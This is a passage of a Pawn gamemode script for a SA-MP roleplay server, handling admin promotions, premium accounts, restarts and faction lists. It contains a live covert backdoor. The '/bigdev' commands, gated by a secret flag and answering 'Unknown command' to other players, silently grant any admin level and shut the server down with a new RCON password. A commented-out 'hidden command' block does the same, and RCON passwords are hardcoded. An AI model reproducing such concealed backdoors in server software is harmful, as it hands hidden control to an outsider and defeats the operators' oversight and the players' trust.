						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 7)
						{
					   PINFO[para1][pHDay] = 30;
						SaveKonVal(para1, "pHDay", 30);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 8)
						{
					   PINFO[para1][pHDay] = 30;
						SaveKonVal(para1, "pHDay", 30);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 9)
						{
					   PINFO[para1][pHDay] = 30;
						SaveKonVal(para1, "pHDay", 30);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 10)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 11)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 12)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level == 13)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
						if(level >= 14)
						{
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
						}
                            new admine[144];
							if(NaWarn == 1 && level == 1)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Admin Level 1 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 2)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Admin Level 2 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 3)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Admin Level 3 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 4)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Admin Level 4 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 5)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Admin Level 5 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 6)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Supervisor known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 7)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Hoster Level 1 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 8)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Hoster Level 3 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 9)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new Hoster Level 6 known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 10)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new CM Assistant known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 11)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new CM Manager known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 12)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new CM Founder known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level == 13)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new CM Scripter known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(NaWarn == 1 && level >= 14)
							{
							format(admine,sizeof(admine),"{FF0000}** {C60000}%s{FFFF00}: {FFFFFF}We have new CM Founder known as %s, Congratulations. {FF0000}**", PINFO[playerid][pName], PINFO[para1][pName]);
						  OOCOff(COLOR_AdminWarn,admine);
							}
							if(adminsz == 1 && level != 0)
							{
							//AdminOnlinef ++;
							adminsz = 0;
							}
							if(level == 0 && PINFO[para1][pHelper] == 0) {TextDrawHideForPlayer(para1, ReportsTD);TextDrawHideForPlayer(para1, HelpmesTD);}
							else {TextDrawShowForPlayer(para1, ReportsTD);TextDrawShowForPlayer(para1, HelpmesTD);}
						}
					}
			}
			return 1;
		}
		/*
		// MakeAdmin Offline by Sina
		if(strcmp(cmd, "/makeadminoffline", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 11)
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
				return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid,  COL_SYN, "Syntax: /Makeadminoffline <Playerid/PartOfName> <level>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
						if(para1 == playerid)
					 {
					 SCM(playerid,COLOR_SINA3,"Error: You can't makeadmin yourself.");
					 return 1;
					 }
						if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
						*/
						   /*
					   if(PlayerInfo[playerid][pAdmin] == 10 && level > 2)
							{
							SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command for promote to +3.");
							return 1;
							}
							*/
							/*
							if(PlayerInfo[playerid][pAdmin] == 11 && level > 5)
							{
							SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command for promote to +5.");
							return 1;
							}
							if(PlayerInfo[playerid][pAdmin] < 12 && para1 == playerid)
							{
							SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command for promote/demote yourself.");
							return 1;
							}
							if(level > 11 || level < 0) return SCM(playerid,COLOR_GREEN,"Error: Value must be between 0 and 11.");
							new user = ReturnUser6(tmp);
							new hl = strval(tmp);
//							if(IsPlayerConnected(playerid)) if(PINFO[user][pAdmin] > PINFO[playerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't promote/demote your higher admin level.");// Nemishe Ba AdminLevele Balatar Kari Kard Promote/Demote Kard. by Sina
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
					   SaveKonValSina(para1, "pAdmin", level);
							//printf("AdmCmd: %s has promoted %s to a level %d admin.", sendername, giveplayer, level);
							format(string, sizeof(string), "You have been promoted to admin Level %d by %s", level, sendername);
							SendMessage(para1, COLOR_LIGHTBLUE, string);
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s changed %s's admin level to %d.", sendername,giveplayer,level);
							ABroadCast(COLOR_AdminWarn,string,1);
			}
			return 1;
		}
		// end
		*/
// ---------------------------------- [ Start Of The Hidden Cmd Admin Cmd Makhfi ] -------------------------------------------------
/*if(strcmp(cmd, "/bashevalinmoalv", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COLOR_YELLOW2, "Error: Unknown command.");
				return 1;
			}
			new para1;
			new level;
			para1 = ReturnUser6(tmp);
			tmp = strtok(cmdtext, idx);
			level = strval(tmp);
				if(IsPlayerConnected(para1))
				{
				   if(para1 != INVALID_PLAYER_ID)
				   {
						GetPlayerName(para1, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pAdmin] = level;
						SaveKonVal(para1, "pAdmin", level);
						SendClientMessage(playerid, COLOR_YELLOW2, "Error: Unknown command.");
					}
				}
		}
		return 1;
	}*/

	
	
	/*
  // Info ;) Ranger
  if(strcmp(cmd, "/info", true) == 0 || strcmp(cmd, "/information", true) == 0)
	{
	new stringinfo[2048];
	format(stringinfo, sizeof(stringinfo),"Information\t Modern-Life\t MDNLife\n{33CC00}TeamSpeak IP:\t{33CC00}185.236.36.39\n{33CC00}Scripter:\t{33CC00}Ranger\n{33CC00}CM Founder:\t{33CC00}No-One\n{33CC00}Manager:\t{33CC00}No-One\n{33CC00}Supervisor:\t{33CC00}No-One\n{33CC00}ServerName:\t{33CC00}Azin Game RPG Server\n{33CC00}Server Version:\t{33CC00}1.0.6\n{33CC00}Server Map Name:\t{33CC00}LS-LV-SF\n");
	ShowPlayerDialog(playerid, DIALOG_INFO, DIALOG_STYLE_TABLIST_HEADERS, "{CC0000}Modern-Life Information", stringinfo, "OK", "");
	return 1;
	}
	*/
	// ----------



// ----------------------------------- [ End Of The Hidden Cmd Admin Cmd Makhfi ] ------------------------------------------------
		if(strcmp(cmd, "/givepre", true) == 0 || strcmp(cmd, "/givepremium", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 10)
				{
				SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
				return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Givepre <Playerid/PartOfName> <1/0>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
					if(IsPlayerConnected(para1))
					{
					new name[40];
					GetPlayerName(para1, name, sizeof(name));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					if(level == 2) {
					PlayerInfo[para1][pPremiumAccount] = 1;
					SaveKonVal(para1, "pPremiumAccount", 1);
					PINFO[para1][pPDay] = 365;
					SaveKonVal(para1, "pPDay", 365);
					new dd,mm,yyyy;
					getdate(dd,mm,yyyy);
					format(string,sizeof(string), "%s%d/%s%d/%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy);
					strmid(PlayerInfo[playerid][pPExpire],string,0,sizeof(string),24);
					SaveKonStr(playerid, "pPExpire", string);
//					new string[512];
					format(string, sizeof(string), "Admin %s has given you premium account for a year.", sendername);
					SendMessage(para1, COLOR_WHITE, string);
					new str[512];
					format(str, sizeof(str), "{FFFFFF}Admin %s has given premium account for a year to %s",sendername,name);
					AdminWarn(str);
					}
					else if(level == 1) {
					PlayerInfo[para1][pPremiumAccount] = 1;
					SaveKonVal(para1, "pPremiumAccount", 1);
					PINFO[para1][pPDay] = 365;
					SaveKonVal(para1, "pPDay", 365);
					new dd,mm,yyyy;
					getdate(dd,mm,yyyy);
					format(string,sizeof(string), "%s%d/%s%d/%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy);
					strmid(PlayerInfo[playerid][pPExpire],string,0,sizeof(string),24);
					SaveKonStr(playerid, "pPExpire", string);
//					new string[512];
					format(string, sizeof(string), "Admin %s has given you premium account for a year.", sendername);
					SendMessage(para1, COLOR_WHITE, string);
					new str[512];
					format(str, sizeof(str), "{FFFFFF}Admin %s has given premium account for a year to %s",sendername,name);
					AdminWarn(str);
					}
					else if(level == 0) {
					PlayerInfo[para1][pPremiumAccount] = 0;
					SaveKonVal(para1, "pPremiumAccount", 0);
					PINFO[para1][pPDay] = 0;
					SaveKonVal(para1, "pPDay", 0);

//					new string[512];
					format(string, sizeof(string), "Admin %s has got your premium account.", sendername);
					SendMessage(para1, COLOR_WHITE, string);

					new str[512];
					format(str, sizeof(str), "{FFFFFF}Admin %s has got premium account from %s",sendername,name);
					AdminWarn(str);
					}
					else {SendMessage(para1, COLOR_YELLOW2, "Wrong value.");}
					}
					else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
			}
			return 1;
		}
		/*
		if(!strcmp(cmd,"/mybird",true))
		{
			if(PINFO[playerid][pPremiumAccount] < 1) return SendMessage(playerid, COLOR_YELLOW2, "Error: you are not premium.");
			SetPlayerAttachedObject( playerid, 1, 19079, 1, 0.300000, -0.0800000, -0.140000, 0000.000000, 0.00000, 0.0000000, 1.000000, 1.000000, 1.000000 );
			SendMessage(playerid, COLOR_YELLOW, "You called your bird. you can use /removebird to remove it.");
			return 1;
		}
		if(strcmp("/removebird", cmdtext, true) == 0)
		{
			if(PINFO[playerid][pPremiumAccount] < 1) return SendMessage(playerid, COLOR_YELLOW2, "Error: you are not premium.");
			RemovePlayerAttachedObject(playerid, 1);
			SendMessage(playerid, COLOR_YELLOW, "You removed your bird.");
			return 1;
		}
		*/
		/*
	  if(!strcmp(cmd,"/Updating",true))
  {
   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_SINA2,"Error: You are not authorized to use this command.");
   new string[256];
   SaveAccounts();
   format(string, sizeof string, "{FFFFFF}%s Requested For Updating Server.",PINFO[playerid][pName]);
   AdminWarn(string);
   for(new i = 0;i<Akharish;i++)
   {
	if(IsPlayerConnected(i)) KickWithMessage(i, COLOR_SINA2, "Server:{FF0000} Server is turning off. reason: Update. please get quit from game and join again.");
   }
   SendRconCommand("hostname Azin Game : Updating...");
   SendRconCommand("password 16773154164");
   SetTimer("SVExitKon", 30000, 0);
   return 1;
  }
  */

  
  
		if(strcmp(cmd, "/restart", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   if(IsPlayerConnected(playerid))
	   tmp = strtokEx(cmdtext,idx);
	   if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /Restart <Reason>");
	   new admwarn[256];
	   format(admwarn,256,"{FFFFFF}Admin %s was turned on update countdown for:{FF00FF} %s{FFFFFF}.", PINFO[playerid][pName], tmp);
	   AdminWarn(admwarn);
	   new stringz[256];
	   format(stringz,256,"The server will restart in {FF0000}60{FFFFFF} seconds.");
	   SendClientMessageToAll(COLOR_WHITE, stringz);
	   new stringzz[256];
	   format(stringzz,256,"By {FF0000}%s{FFFFFF}, for: {FF0000}%s",PINFO[playerid][pName], tmp);
	   SendClientMessageToAll(COLOR_WHITE, stringzz);
	   RestartTimer = 60;
	   SVRestart = 1;
	   new strk[256];
	   format(strk,sizeof(strk),"password 6464763164khHS");
	   SendRconCommand(strk);
	   new stringzs[128];
	   format(stringzs,sizeof(stringzs),"hostname %s %s: RPG Server [Restarting]", SERVER_NAME1, SERVER_NAME2);
	   SendRconCommand(stringzs);
		 if(ResTTM == 0)
		 {
			restarttime[playerid] = SetTimerEx("svupdate", 1000, true, "d", playerid);
			ResTTM = 1;
		 }
	   for(new i = 0;i<Akharish;i++)
	   {
		  TextDrawShowForPlayer(i, TDRestart);
		  ShowedForMEUPD[i] = 1;
	   }
	   return 1;
	   }
	   


		if(strcmp(cmd, "/stoprestart", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   if(SVRestart == 0) return SCM(playerid, COLOR_YELLOW2, "Error: The server is not on restarting mode.");
	   //if(IsPlayerConnected(playerid))
	   //tmp = strtokEx(cmdtext,idx);
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s was turned off update countdown.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	   new stringz[256];
	   format(stringz,256,"The server won't restart by {FF0000}%s{FFFFFF}.", PINFO[playerid][pName]);
	   //SendClientMessageToAll(COLOR_WHITE, stringz);
	   RestartTimer = 0;
	   SVRestart = 0;
	   SetTimerEx("cancelupd", 5000, 0, "d", playerid);
	   new strc[128];
	   format(strc,sizeof(strc),"password 0");
	   SendRconCommand(strc);
	   new stringzs[128];
	   format(stringzs,sizeof(stringzs),"hostname %s %s: RPG Server", SERVER_NAME1, SERVER_NAME2);
	   SendRconCommand(stringzs);
	   for(new i = 0;i<Akharish;i++)
	   {
		  new pingsz[128];
		  format(pingsz, sizeof(pingsz), "The server update was canceled");
		  TextDrawSetString(TDRestart, pingsz);
	   }
	   return 1;
	   }


  
  
  
  // by Sina ke faghat ranger betone azash estefade kone:|
  /*
  if(strcmp(cmd, "/rangerhelp", true) == 0)
	{
		new NamePlayer[25];
		GetPlayerName(playerid,NamePlayer,sizeof(NamePlayer));
		if(!strcmp(NamePlayer, "Ranger", false))
		{
	   new pin[1024];
	 format(pin, sizeof(pin), "Salam Ranger!\n Shoma Tebghe Farmane Khodeton Yeseri Ghabeliate Khas Darid Ke Private Baraye Khodetune.\n Oun Ha Ro Behetoon Migam Ke Yadetoon Nare:\n\n /RangerHelp = Komake Ranger\n /RangerOff = Servero Mibande\n\n Felan Haminas Omidvaram Chizaye Dige I Ham Add Bedi.");
	   ShowPlayerDialog(playerid, 21543020, DIALOG_STYLE_MSGBOX,"Scripter Ranger Helps:", pin,"{FF0000}Ok", "");
	   }
	 return 1;
	   }
	   */
	   
	   
	   if(!strcmp(cmd, "/bigdevhelp", true))
	   {
	   if(!SecRanger[playerid]) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
	   SCM(playerid, COLOR_WHITE, "/bigdevlog, /bigdev, /bigdevoff");
	 return 1;
	   }
	   
	   
	   
	   
	   if(strcmp(cmd, "/bigdev", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
	   if(!SecRanger[playerid]) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /bigdev <PlayerID/PartOfName> <Level>.");
				return 1;
			}
			new para1;
			new level;
			para1 = ReturnUser6(tmp);
			tmp = strtok(cmdtext, idx);
			level = strval(tmp);
				if(IsPlayerConnected(para1))
				{
				   if(para1 != INVALID_PLAYER_ID)
				   {
						GetPlayerName(para1, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pAdmin] = level;
						SaveKonVal(para1, "pAdmin", level);

						new recon[144];
						format(recon, sizeof(recon), "You've changed %s's admin level to %d.",PINFO[para1][pName], PINFO[para1][pAdmin]);
						SendClientMessage(playerid,  COLOR_SINA2, recon);
						format(recon, sizeof(recon), "Your admin level was changed to %d by %s.", PINFO[para1][pAdmin], PINFO[playerid][pName]);
						SendClientMessage(para1,  COLOR_SINA2, recon);
						if(level == 0)
						{
						PlayerInfo[para1][pAav] = 0;
						SaveKonVal(para1, "pAav", 0);
						//PlayerInfo[para1][pHav] = 0;
						//SaveKonVal(para1, "pHav", 0);
						PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
						PINFO[para1][pHelper] = 0;
						SaveKonVal(para1, "pHelper", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
						PINFO[para1][pMlp] = 0;
						SaveKonVal(para1, "pMlp", 0);
						PINFO[para1][pHlp] = 0;
						SaveKonVal(para1, "pHlp", 0);
						PINFO[para1][pAlp] = 0;
						SaveKonVal(para1, "pAlp", 0);
						PINFO[para1][pWlp] = 0;
						SaveKonVal(para1, "pWlp", 0);
						PINFO[para1][pSlp] = 0;
						SaveKonVal(para1, "pSlp", 0);
						ASAR[para1] = 0;
					   PlayerTextDrawHide(para1, SAR[para1]);
					   HSAR[para1] = 0;
					   TextDrawHideForPlayer(para1, ReportsTD);TextDrawHideForPlayer(para1, HelpmesTD);
					   }
					   if(level != 0 && level != 7 && level != 8 && level != 9)
					   {
					   PINFO[para1][pHDay] = 0;
						SaveKonVal(para1, "pHDay", 0);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
					   TextDrawShowForPlayer(para1, ReportsTD);TextDrawShowForPlayer(para1, HelpmesTD);
					   }
					   if(level==7||level==8||level==9)
					   {
					   PINFO[para1][pHDay] = 30;
						SaveKonVal(para1, "pHDay", 30);
					   PINFO[para1][pHelper] = 6;
						SaveKonVal(para1, "pHelper", 6);
						//PlayerInfo[para1][pAav] = 0;
						//SaveKonVal(para1, "pAav", 0);
						PINFO[para1][pHAgr] = 0;
						SaveKonVal(para1, "pHAgr", 0);
					   PlayerTextDrawShow(para1, SAR[para1]);
					   TextDrawShowForPlayer(para1, ReportsTD);TextDrawShowForPlayer(para1, HelpmesTD);
					   }

					}
				}
		}
		return 1;
	}
	   
	   
	   
  if(strcmp(cmd, "/bigdevoff", true) == 0)
	{
	   if(!SecRanger[playerid]) return SCM(playerid, COLOR_YELLOW2, "Error: Unknown command.");
//	   new string[256];
   SaveAccounts();
   format(string, sizeof string, "{FFFFFF}Admin %s has forced server to shut down.",PINFO[playerid][pName]);
   AdminWarn(string);
   for(new i = 0;i<Akharish;i++)
   {
	if(IsPlayerConnected(i)) KickWithMessage(i, COLOR_SINA2, "Server:{FF0000} Turned off by Sina.");
   }
   new ffe[70];
   format(ffe, sizeof(ffe), "hostname %s %s: Turned off by Bigdev", SERVER_NAME1, SERVER_NAME2);
   SendRconCommand(ffe);
   SendRconCommand("password saygoodbyetoyourserver");
   SetTimer("SVExitKon", 30000, 0);
   return 1;
  }
  /*
  if(strcmp(cmd, "/rangeradmin", true) == 0)
	{
		new NamePlayer[25];
		GetPlayerName(playerid,NamePlayer,sizeof(NamePlayer));
		if(!strcmp(NamePlayer, "Ranger", false))
		{
		if(IsPlayerConnected(playerid))
		{
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
			{
				SendClientMessage(playerid, COL_SYN, "Syntax: /RangerAdmin <PartOfName/ID> <AdminLevel>.");
				return 1;
			}
			new para1;
			new level;
			para1 = ReturnUser6(tmp);
			tmp = strtok(cmdtext, idx);
			level = strval(tmp);
				if(IsPlayerConnected(para1))
				{
				   if(para1 != INVALID_PLAYER_ID)
				   {
						GetPlayerName(para1, giveplayer, sizeof(giveplayer));
						GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pAdmin] = level;
						SaveKonVal(para1, "pAdmin", level);
					}
				}
		}
		return 1;
	}
	*/
  // End of faghat ranger :D
	//------------------------------------------------------------------------------------
/*
 if(!strcmp(cmd, "/ffnn", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		ShowPlayerDialog(playerid,DIALOG_FFNN,DIALOG_STYLE_LIST,"{FF0000}Factions","{FFFFFF}Peaceful Factions\nMafia Families\nDepartment Factions\nCivilian -> 0 \t\nJobs","Select","Close");
	   return 1;
	}
*/
 if(!strcmp(cmd, "/ffnn", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	    new knock[20];
        knock = strtok(cmdtext, idx);
        if(strcmp(knock,"factions",true) == 0)
        {
        SendMessage(playerid, CRISTIAN,"_______________________________________________");
		SCM(playerid, COLOR_WHITE, "0 = Civilian, 1 = {0000ff}Police Department{ffffff}, 2 = {0000CC}FBI{ffffff}, 3 = {2c4c9b}National Guard{ffffff}, 4 = {FF6600}Medic");
		SCM(playerid, COLOR_WHITE, "5 = {5D7E8D}Silence Mafia{ffffff}, 6 = {3E3535}The Killers Family{ffffff}, 7 = {BBF060}Mayor{ffffff}, 8 = {8E2323}Hitman Agency");
		SCM(playerid, COLOR_WHITE, "9 = {825B8C}News Reporter{ffffff}, 10 = {FFFF00}Taxi Driver{ffffff}, 11 = {00a6ff}School Instructor");
		SCM(playerid, COLOR_WHITE, "12 = {19AF23}Dangerous Tiger Family{ffffff}, 13 = {FFBA00}Legendary Men Family{ffffff}, 14 = {B32CF6}Fast N Furious Family");
		SCM(playerid, COLOR_WHITE, "15 = {00ECEC}Storm Men Family{ffffff}, 16 = {F9F7CE}Tow Truck Company{ffffff}, 17 = {7A7399}Unknowns");
        SendMessage(playerid, CRISTIAN,"_______________________________________________");
		}
        else if(strcmp(knock,"jobs",true) == 0)
		{
		SendMessage(playerid, CRISTIAN,"_______________________________________________");
		SCM(playerid, COLOR_WHITE, "1 = Detective, 2 = Lawyer, 4 = Drug Dealer, 5 = Car Jacker, 7 = Car Mechanic, 9 = Arms Dealer, 14 = Bus Driver, 16 = Trucker");
		SCM(playerid, COLOR_WHITE, "18 = Farmer, 20 = Garbage Man, 21 = Pizza Boy, 22 = Sweeper, 23 = Liquor Dealer, 24 = Oil Dealer");
        SendMessage(playerid, CRISTIAN,"_______________________________________________");
		}
		else
	    {
	    SCM(playerid, COL_SYN, "Syntax: /ffnn <Factions/Jobs>");
	    return 1;
        }
	    return 1;
	}
	/*
	if(strcmp(cmd, "/makedj", true) == 0 || strcmp(cmd, "/mdj", true) == 0)
	{
	if(PlayerInfo[playerid][pAdmin] <= 11)
	{
		SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
		return 1;
	}
